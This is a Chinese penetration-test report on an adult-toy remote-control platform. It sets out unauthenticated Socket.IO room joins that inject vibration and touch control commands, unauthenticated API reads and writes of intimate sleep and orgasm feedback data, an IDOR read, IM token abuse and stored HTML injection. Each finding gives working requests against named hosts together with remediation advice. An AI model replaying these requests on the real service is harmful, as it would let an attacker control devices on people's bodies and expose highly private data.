对某成人用品远控系统的渗透测试
成人用品远控系统渗透测试报告
1. 项目信息
测试目标:XX玩控成人用品远控系统
2. 漏洞概览
| 编号 | 漏洞名称 | 风险等级 | 状态 |
|---|---|---|---|
| VL-001 | Socket 房间未授权加入与成人用品设备控制字段注入 | 严重 | 已确认 |
| VL-002 | 远控双方身份、设备状态与设备能力可伪造 | 严重 | 已确认 |
| VL-003 | Dream API 未授权读取成人用品体验与作息数据 | 高危 | 已确认 |
| VL-004 | Dream API 未授权写入震动体验配置与用户内容 | 严重 | 已确认 |
| VL-005 | Report 详情接口存在对象级越权读取 | 高危 | 已确认 |
| VL-006 | IM Token 暴露后可直接连接 IM 并收发实时消息 | 中危 | 已确认 |
| VL-007 | 远程闹钟消息 msgId 可重复导致状态混淆 |
中危 | 已确认 |
| VL-008 | 评论、头像等字段存在持久化 HTML 注入 | 中危 | 已确认存储与回显 |

3. 成人用品远控字段说明
| 字段 | 含义 | 对设备/业务的影响 |
|---|---|---|
room |
远控房间号或邀请码 | 决定进入哪个远控房间 |
join |
加入房间事件 | 未授权加入后可进入目标远控会话 |
create |
创建房间事件 | 可模拟房主侧建立远控会话 |
reenter |
重连房间事件 | 可伪造对端重新进入房间 |
action |
通常由加入方发送的控制事件 | 可承载震动强度、触控坐标、模式等控制字段 |
data |
通常由房主方发送的数据事件 | 可承载设备状态、身份、远程闹钟回执等字段 |
motor_level |
马达/震动强度等级 | 可影响振动棒、跳.蛋等设备的震动强度 |
mode |
主模式编号 | 可切换互动玩法、震动模式或情景模式 |
sub_mode |
子模式编号 | 可选择主模式下的具体玩法 |
is_play |
模式是否播放 | 可伪造某个远控模式正在运行 |
x / y |
触控坐标 | 可模拟远程触摸轨迹或手绘控制位置 |
lock |
远控锁定状态 | 可影响远程触控是否锁定 |
isConn |
设备连接状态 | 可伪造对端成人用品设备在线/离线 |
sb |
设备类型或设备状态编号 | 可影响客户端对设备类型/状态的判断 |
device_name |
设备名称 | 可伪造对端连接的成人用品设备名称 |
firmwareVersion |
固件版本 | 可伪造设备固件信息 |
support_alarm |
是否支持远程闹钟/告警 | 可伪造对端具备远程闹钟能力 |
bonus_scene_mode |
情景/闹钟模式编号 | 可影响情景玩法或闹钟模式展示 |
bonus_scene_status |
情景/闹钟状态 | 可伪造情景玩法启动或取消 |
alarm_receive_ok |
告警消息接收确认 | 可伪造远程闹钟/告警已经被确认 |
alarm_msg_id |
告警消息业务 ID | 可与 IM 告警消息关联,造成状态混淆 |
vib_strength |
Dream/睡眠场景震动强度 | 可影响睡眠玩法中的震动强度 |
vib_freq_level |
震动频率等级 | 可影响自定义序列中的震动频率 |
vib_duration_level |
震动持续等级 | 可影响自定义序列中的震动持续时间 |
orgasm |
Dream 体验反馈字段 | 涉及Gao.Chao的成人用品体验反馈 |
4. 漏洞详情
VL-001 Socket 房间未授权加入与成人用品设备控制字段注入
| 属性 | 详情 |
|---|---|
| 风险等级 | 严重 |
| 漏洞类型 | 未授权访问 / 远控字段注入 |
| 影响服务 | mxxxmxxx-game.secretgardon.com、mxxxmxxx-game-asia.secretgardon.com、mxxxmxxx-remote.secretgardon.com、mxxxmxxx-remote-asia.secretgardon.com |
| 影响字段 | room、join、action、data、motor_level、mode、sub_mode、is_play、x、y、lock |
4.1.1 漏洞描述
Socket 远控服务仅凭 room 房间号即可加入远控房间。测试中未携带 Cookie、JWT、设备签名、登录用户标识或服务端授权令牌,直接发送 join {"room":"40122"} 即可进入房间。
加入房间后,服务端继续接受 action 和 data 事件。攻击者可向房间内注入成人用品设备控制字段,例如震动强度 motor_level、互动模式 mode/sub_mode/is_play、触控坐标 x/y、远控锁定 lock 等。
4.1.2 复现步骤
步骤 1:建立 Socket.IO 连接后发送加入房间事件。
emit join {"room":"40122"}
服务端返回:
{"success":"room enter success"}
步骤 2:发送震动强度字段。
emit action {"motor_level":"2"}
服务端返回:
{"success":"yes"}
步骤 3:发送模式控制字段。
emit action {"mode":1,"sub_mode":0,"is_play":true,"des":"remote-mode-test"}
服务端返回:
{"success":"yes"}
步骤 4:发送触控坐标和锁定状态。
emit action {"x":"0.11","y":"0.77"}
emit action {"lock":"1"}
对端可收到:
{"x":"0.11","y":"0.77"}
{"lock":"1"}
4.1.3 实际样例
在双端房间 64106 中,加入方发送如下事件:
joiner emit action {"motor_level":"5"}
房主侧收到:
{"motor_level":"5"}
motor_level=5 表示较高等级震动强度。该字段进入成人用品远控状态机后,会影响振动棒、跳.蛋等设备的震动体验。
加入方发送触控坐标:
joiner emit action {"x":"0.11","y":"0.77"}
房主侧收到:
{"x":"0.11","y":"0.77"}
该字段可模拟远程触摸位置,影响基于手势、触控或手绘模式的互动反馈。
4.1.4 修复建议
- 房间加入必须校验登录态和服务端签发的短期房间令牌。
room只能作为房间标识,不能作为授权凭证。- 服务端必须绑定
room -> user -> device -> role -> socket。 motor_level、mode、sub_mode、is_play、x/y、lock等成人用品设备控制字段必须按角色和状态机做白名单校验。
VL-002 远控双方身份、设备状态与设备能力可伪造
| 属性 | 详情 |
|---|---|
| 风险等级 | 严重 |
| 漏洞类型 | 身份伪造 / 设备状态伪造 |
| 影响服务 | Socket 远控服务 |
| 影响字段 | reqId、userId、nick、avatar、isConn、sb、device_name、firmwareVersion、support_alarm |
4.2.1 漏洞描述
远控房间内的身份字段和设备状态字段均由客户端提交,服务端未校验发送者是否为真实房间成员或真实设备所有者。攻击者可以伪造配对方昵称、头像、用户 ID、设备在线状态、设备名称、设备类型和远程闹钟能力。
4.2.2 复现步骤
步骤 1:伪造加入方身份。
emit action {"reqId":"joiner-seq","nick":"joiner-nick-seq","avatar":""}
对端收到:
{"reqId":"joiner-seq","nick":"joiner-nick-seq","avatar":""}
步骤 2:伪造房主身份。
emit data {"userId":"owner-seq","nick":"owner-nick-seq","avatar":""}
对端收到:
{"userId":"owner-seq","nick":"owner-nick-seq","avatar":""}
步骤 3:伪造设备连接状态。
emit action {"isConn":true,"sb":0,"device_name":"probe","firmwareVersion":"poc"}
服务端接受:
{"success":"yes"}
步骤 4:伪造远程闹钟能力。
emit data {"support_alarm":true}
服务端接受:
{"success":"yes"}
4.2.3 实际样例
攻击者发送:
emit action {"isConn":true,"sb":0,"device_name":"probe"}
字段含义:
isConn=true:伪造对端成人用品设备在线。sb=0:伪造设备类型或设备状态编号。device_name="probe":伪造设备名称。
该问题可导致用户误判配对方设备状态,进而信任错误的远控会话。
4.2.4 修复建议
- 身份字段必须由服务端根据登录态填充,不允许客户端自报。
- 设备状态必须来自真实设备绑定关系或设备心跳,不允许普通 Socket 消息伪造。
support_alarm、device_name、firmwareVersion等设备能力字段应由服务端可信数据源生成。
VL-003 Dream API 未授权读取成人用品体验与作息数据
| 属性 | 详情 |
|---|---|
| 风险等级 | 高危 |
| 漏洞类型 | 未授权读取 |
| 影响服务 | dream-api.secretgardon.com |
| 影响接口 | GET /user/{uuid}/dream/latest、POST /user/{uuid}/dreams?page=1、GET /tags?uuid={uuid}&lang=zh |
4.3.1 漏洞描述
Dream API 在知道 uuid 的情况下允许未登录读取用户 Dream 记录、作息数据、体验反馈和标签。该数据与成人用品使用场景直接相关,包含睡眠时间、唤醒时间、震动体验反馈、X高潮感觉等敏感字段。
4.3.2 复现步骤
未携带 Cookie 读取最新 Dream 记录:
GET /user/e08a746d/dream/latest HTTP/1.1
Host: dream-api.secretgardon.com
服务端返回:
{
"code": 0,
"details": {
"record": {
"bed_time": 1780408706,
"wakeup_time": 1780412306,
"dream_id": 2,
"id": 50396,
"uuid": "e08a746d",
"version": "1.0",
"feedback": {
"experience": 4,
"orgasm": 2,
"suggest": "TEST-jianyi",
"used_dream": 1
},
"tags": [
{
"tag_id": 677,
"tag_name": "marker_tag"
}
]
}
},
"msg": "success"
}
未携带 Cookie 读取 Dream 历史列表:
POST /user/e08a746d/dreams?page=1 HTTP/1.1
Host: dream-api.secretgardon.com
服务端返回:
{
"code": 0,
"details": {
"count": 6,
"records": [
{
"bed_time": 1780408706,
"created": 1780412307,
"dream_id": 2,
"id": 50396,
"uuid": "e08a746d",
"version": "1.0",
"wakeup_time": 1780412306
}
]
},
"msg": "success"
}
4.3.3 实际样例
回包中包含以下敏感字段:
bed_time:用户入睡时间。wakeup_time:用户唤醒时间。feedback.experience:成人用品体验评分。feedback.orgasm:Gao.Chao体验反馈。tags:用户体验标签。
这些字段可反映用户作息、成人用品使用习惯和私密体验反馈。
4.3.4 修复建议
- Dream 读取接口必须要求认证。
- 服务端必须校验
uuid与当前登录用户的归属关系。 - 与成人用品体验相关的字段应按敏感个人数据处理,默认禁止跨用户读取。
VL-004 Dream API 未授权写入震动体验配置与用户内容
| 属性 | 详情 |
|---|---|
| 风险等级 | 严重 |
| 漏洞类型 | 未授权写入 / 数据篡改 |
| 影响服务 | dream-api.secretgardon.com |
| 影响接口 | /dream/add、/dream/feedback/add、/dream/bedtime/update、/dream/seq/custom/update、/tag/add、/dream/tags/add、/dream/comment/add、/version/like |
4.4.1 漏洞描述
Dream API 多个写接口不要求登录态,服务端直接信任客户端传入的 uuid。攻击者可未授权创建 Dream 记录、修改体验反馈、修改睡眠震动配置、修改自定义震动序列、创建标签、绑定标签、写评论、修改点赞状态。
4.4.2 复现步骤
未授权创建 Dream 记录:
POST /dream/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded
uuid=e08a746d&dream_id=2&bed_time=1780408706&wakeup_time=1780412306&version=1.0
读取后可见记录:
{
"code": 0,
"details": {
"records": [
{
"bed_time": 1780408706,
"dream_id": 2,
"id": 50396,
"uuid": "e08a746d",
"version": "1.0",
"wakeup_time": 1780412306
}
]
},
"msg": "success"
}
未授权修改体验反馈:
POST /dream/feedback/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded
uuid=e08a746d&dr_id=50396&used_dream=1&experience=4&orgasm=2&suggest=TEST-jianyi
服务端返回:
{"code":0,"msg":"success"}
未授权修改睡眠震动强度:
POST /dream/bedtime/update HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded
uuid=e08a746d&version=0.0.1&conf={"bed_time":"23:11","wake_up":"07:22","vib_strength":4}
服务端返回:
{
"code": 0,
"details": {
"conf": {
"bed_time": "23:11",
"wake_up": "07:22",
"vib_strength": 4
},
"version": "0.0.1"
},
"msg": "success"
}
未授权修改自定义震动序列:
POST /dream/seq/custom/update HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded
uuid=e08a746d&version=0.0.1&seq_id=1&custom={"vib_duration_level":2,"vib_freq_level":3,"vib_strength_level":4}
服务端返回:
{
"code": 0,
"details": {
"custom": {
"vib_duration_level": 2,
"vib_freq_level": 3,
"vib_strength_level": 4
},
"custom_id": 146,
"seq_id": "1",
"version": "0.0.1"
},
"msg": "success"
}
4.4.3 实际样例
以下字段可被未授权修改:
vib_strength=4:睡眠玩法震动强度。vib_freq_level=3:自定义序列震动频率。vib_duration_level=2:自定义序列震动持续时间。vib_strength_level=4:自定义序列震动强度。orgasm=2:成人用品体验反馈。
4.4.4 修复建议
- 所有 Dream 写接口必须要求认证。
- 目标用户必须从服务端会话解析,不能信任客户端传入的
uuid。 - 震动强度、震动频率、震动持续时间、体验反馈等字段必须做对象归属校验。
VL-005 Report 详情接口存在对象级越权读取
| 属性 | 详情 |
|---|---|
| 风险等级 | 高危 |
| 漏洞类型 | IDOR / 对象级授权缺失 |
| 影响服务 | mmapi-asia.secretgardon.com、mmapi.secretgardon.com |
| 影响接口 | GET /report/{rId} |
4.5.1 漏洞描述
Report 详情接口只校验调用者是否登录,没有校验 rId 是否属于当前登录用户。测试中 A 账号创建的 report,B 账号可直接通过 rId 读取;未登录访问同一 rId 返回 USER_NOT_AUTH。
4.5.2 复现步骤
A 账号创建 report 后返回:
{
"code": 0,
"details": {
"programme": "TEST-report",
"r_id": 26208,
"suggestions": "Test-jianyi-1",
"u_id": "c0c85c061fc74b5995db72dc486eb66e"
},
"msg": "success"
}
B 账号读取 A 的 report:
GET /report/26208 HTTP/1.1
Host: mmapi-asia.secretgardon.com
Cookie: token=<B账号JWT>
服务端返回:
{
"code": 0,
"details": {
"programme": "TEST-report",
"r_id": 26208,
"suggestions": "Test-jianyi-1",
"total_score": 44,
"total_time": 60,
"u_id": "c0c85c061fc74b5995db72dc486eb66e"
},
"msg": "success"
}
未登录读取同一 report:
GET /report/26208 HTTP/1.1
Host: mmapi-asia.secretgardon.com
服务端返回:
{"errcode":"USER_NOT_AUTH","success":"false"}
4.5.3 实际样例
B 账号成功读取到 A 账号 report 中的 programme、suggestions、total_score、total_time、u_id 等字段。该类 report 与用户身体训练、设备体验、评分和建议相关,属于敏感业务数据。
4.5.4 修复建议
GET /report/{rId}必须校验rId是否属于当前登录用户。- 所有直接对象引用 ID 都应在服务端做对象级授权校验。
VL-006 IM Token 暴露后可直接连接 IM 并收发实时消息
| 属性 | 详情 |
|---|---|
| 风险等级 | 中危 |
| 漏洞类型 | 敏感凭证暴露 / IM 数据面接入 |
| 影响服务 | mmaccount-asia.secretgardon.com、mmaccount.secretgardon.com |
| 影响接口 | /user/imbind、/user/get_user_info |
4.6.1 漏洞描述
账号接口返回 RongCloud imToken。使用该 token 可直接连接 IM,并以对应用户身份收发实时消息,包括普通文本消息和成人用品远程闹钟类自定义消息 app:alarmmsg。
历史漫游读取返回 ROAMING_SERVICE_UNAVAILABLE_MESSAGE,获取某账号 token 后,可直接进入该账号 IM 数据面并监听后续实时消息。
4.6.2 复现步骤
获取 IM token:
POST /user/imbind HTTP/1.1
Host: mmaccount-asia.secretgardon.com
Cookie: token=<账号JWT>
服务端返回:
{
"code": "200",
"result": {
"imToken": "<RongCloud IM Token,已脱敏>"
}
}
使用 token 连接 IM 后返回:
{
"action": "connect",
"account": {
"name": "A",
"uuid": "33f75573-eab0-4800-9eae-2da5ddceb26b"
},
"result": {
"id": "33f75573-eab0-4800-9eae-2da5ddceb26b"
},
"connectError": null
}
A 向 B 发送文本消息,B 在线监听收到:
{
"messageType": "RC:TxtMsg",
"content": {
"content": "miniapp-text-20260603-1"
},
"senderUserId": "33f75573-eab0-4800-9eae-2da5ddceb26b",
"messageUId": "CUHF-A7JU-EJE4-4JS3",
"isPersited": true,
"isCounted": true
}
A 向 B 发送 app:alarmmsg,B 在线监听收到:
{
"messageType": "app:alarmmsg",
"content": {
"time": "1780463395",
"mode": 2,
"msgId": "alarm-20260603-1"
},
"senderUserId": "33f75573-eab0-4800-9eae-2da5ddceb26b",
"messageUId": "CUHF-AQBQ-AV24-4JS3",
"isPersited": true,
"isCounted": true
}
历史漫游读取返回:
{
"code": 25102,
"msg": "ROAMING_SERVICE_UNAVAILABLE_MESSAGE"
}
4.6.3 实际样例
app:alarmmsg 字段含义:
| 字段 | 含义 |
|---|---|
time |
远程闹钟/告警触发时间 |
mode |
远程闹钟/告警模式 |
msgId |
业务消息 ID |
该消息与成人用品远程闹钟、告警或情景提醒相关。IM token 泄露会使攻击者绕过 App 正常流程,直接以目标用户身份发送或监听实时 IM 消息。
4.6.4 修复建议
imToken应短期有效,并绑定设备、会话和用途。- 高敏 IM token 不应在普通资料接口长期回显。
- 服务端应限制
app:alarmmsg等成人用品相关自定义消息的发送权限。
VL-007 远程闹钟消息 msgId 可重复导致状态混淆
| 属性 | 详情 |
|---|---|
| 风险等级 | 中危 |
| 漏洞类型 | 业务逻辑缺陷 / 状态混淆 |
| 影响消息类型 | app:alarmmsg |
| 影响字段 | msgId、alarm_receive_ok、alarm_msg_id |
4.7.1 漏洞描述
服务端允许在同一会话中发送多条 app:alarmmsg,且这些消息可使用相同 msgId。客户端又通过 Socket 字段 alarm_receive_ok/alarm_msg_id 处理远程闹钟/告警确认,导致不同真实消息可能共享同一个业务状态 ID。
4.7.2 复现步骤
发送第一条远程闹钟消息:
{
"messageType": "app:alarmmsg",
"content": {
"time": "1780464169",
"mode": 1,
"msgId": "dup-msgid-20260603"
}
}
发送第二条远程闹钟消息,复用相同 msgId:
{
"messageType": "app:alarmmsg",
"content": {
"time": "1780464817",
"mode": 3,
"msgId": "dup-msgid-20260603"
}
}
接收端收到两条不同消息:
[
{
"messageType": "app:alarmmsg",
"content": {
"time": "1780464169",
"mode": 1,
"msgId": "dup-msgid-20260603"
},
"messageUId": "CUHF-EE40-FMA4-4JS3"
},
{
"messageType": "app:alarmmsg",
"content": {
"time": "1780464817",
"mode": 3,
"msgId": "dup-msgid-20260603"
},
"messageUId": "CUHF-EPR9-QI64-4JS3"
}
]
Socket 可发送相同业务 ID 的确认回执:
emit data {"alarm_receive_ok":true,"alarm_msg_id":"dup-msgid-20260603"}
4.7.3 实际样例
两条消息的 msgId 均为 dup-msgid-20260603,但服务端分配的 messageUId 分别为:
CUHF-EE40-FMA4-4JS3
CUHF-EPR9-QI64-4JS3
这说明两条是真实独立消息,但业务状态 ID 相同。当客户端使用 msgId 更新本地远程闹钟状态时,可能把错误消息标记为已接收或已确认。
4.7.4 修复建议
app:alarmmsg.msgId必须在会话范围内唯一。- 告警确认应绑定服务端不可伪造的
messageUId。 alarm_receive_ok/alarm_msg_id必须校验发送者、接收者和消息归属。
VL-008 评论、头像等字段存在持久化 HTML 注入
| 属性 | 详情 |
|---|---|
| 风险等级 | 中危 |
| 漏洞类型 | 持久化 HTML 注入 / 潜在 Stored XSS |
| 影响服务 | dream-api.secretgardon.com、账号资料接口 |
| 影响字段 | comment、nick、avatar |
4.8.1 漏洞描述
Dream 评论和部分资料字段允许写入 HTML 或属性打断字符串,并在后续接口中原样返回。当前已确认数据可存储、可持久化、可回显;未确认在真实后台审核页面执行 JavaScript。
4.8.2 复现步骤
写入 HTML 内容:
POST /dream/comment/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded
uuid=e08a746d&dr_id=2&avatar=&version=1.0&nick=codexC&comment=<b>html_marker_20260602231845</b>
服务端返回:
{"code":0,"msg":"success"}
读取评论列表:
GET /dream/2/comments?page=1 HTTP/1.1
Host: dream-api.secretgardon.com
服务端返回:
{
"code": 0,
"details": {
"comments": [
{
"c_id": 399,
"comment": "<b>html_marker_20260602231845</b>",
"created": "2026-06-02 23:18:46",
"dr_id": 2,
"nick": "codexC",
"status": 1,
"uuid": "e08a746d",
"version": "1.0"
}
]
},
"msg": "success"
}
4.8.3 实际样例
comment 字段中的 <b>html_marker_20260602231845</b> 被原样存储并返回。若后台审核、客服系统、WebView 或 H5 页面未做 HTML 转义,该问题可升级为 Stored XSS。
4.8.4 修复建议
- 评论、昵称、头像等用户可控字段输出时必须做上下文相关编码。
avatar字段应限制为合法 URL,不允许 HTML 片段、引号打断和事件属性。- 后台审核页面不得直接使用用户输入拼接 HTML。
5. 综合风险结论
本次测试确认,目标系统存在可影响成人用品远控链路的高风险漏洞。最严重问题是 Socket 房间未授权接入与控制字段注入,攻击者可进入房间并发送与成人用品设备直接相关的字段,包括 motor_level、mode/sub_mode/is_play、x/y、lock、support_alarm、alarm_receive_ok 等。
Dream API 未授权读写进一步扩大了风险面。攻击者可读取或篡改用户作息、睡眠场景、震动强度、震动频率、震动持续时间、成人用品体验反馈和评论内容。
IM 侧已确认的问题是:获取账号 IM token 后,可直接连接 IM 并收发实时消息,包括成人用品远程闹钟类 app:alarmmsg。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
